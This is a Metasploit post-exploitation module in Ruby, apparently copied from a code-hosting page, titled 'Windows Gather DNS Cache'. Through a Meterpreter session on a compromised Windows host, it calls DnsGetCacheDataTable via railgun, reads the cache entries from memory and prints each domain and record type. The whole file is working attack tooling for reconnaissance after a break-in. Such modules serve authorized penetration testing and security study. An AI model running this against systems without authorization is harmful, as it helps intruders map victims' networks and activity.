52 lines
1.8 KiB
Ruby
52 lines
1.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather DNS Cache',
|
|
'Description' => %q{ This module displays the records stored in the DNS cache.},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
end
|
|
|
|
def run
|
|
rtable = Rex::Text::Table.new(
|
|
'Header' => 'DNS Cached Entries',
|
|
'Indent' => 3,
|
|
'Columns' => ['TYPE', 'DOMAIN']
|
|
)
|
|
|
|
client.railgun.add_dll('dnsapi') if not client.railgun.get_dll('dnsapi')
|
|
client.railgun.add_function("dnsapi", "DnsGetCacheDataTable", "DWORD", [["PBLOB","cacheEntries","inout"]])
|
|
result = client.railgun.dnsapi.DnsGetCacheDataTable("aaaa")
|
|
address = result['cacheEntries'].unpack('V').first
|
|
|
|
# typedef struct _DNS_CACHE_ENTRY
|
|
# struct _DNS_CACHE_ENTRY* pNext;
|
|
# PWSTR pszName;
|
|
# unsigned short wType;
|
|
# unsigned short wDataLength;
|
|
# unsigned long dwFlags;
|
|
|
|
while (address != 0 ) do
|
|
struct_pointer = client.railgun.memread(address,10)
|
|
# Get the pointer to the DNS record name
|
|
domain_pointer = struct_pointer[4,4].unpack('V').first
|
|
dns_type = struct_pointer[8,2].unpack('h*')[0].reverse
|
|
# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
|
|
domain_name = client.railgun.memread(domain_pointer,255).split("\x00\x00").first
|
|
rtable << [dns_type, domain_name]
|
|
# Get the next _DNS_CACHE_ENTRY struct pointer
|
|
address = struct_pointer[0,4].unpack('V').first
|
|
end
|
|
print_status(rtable.to_s)
|
|
end
|
|
end
|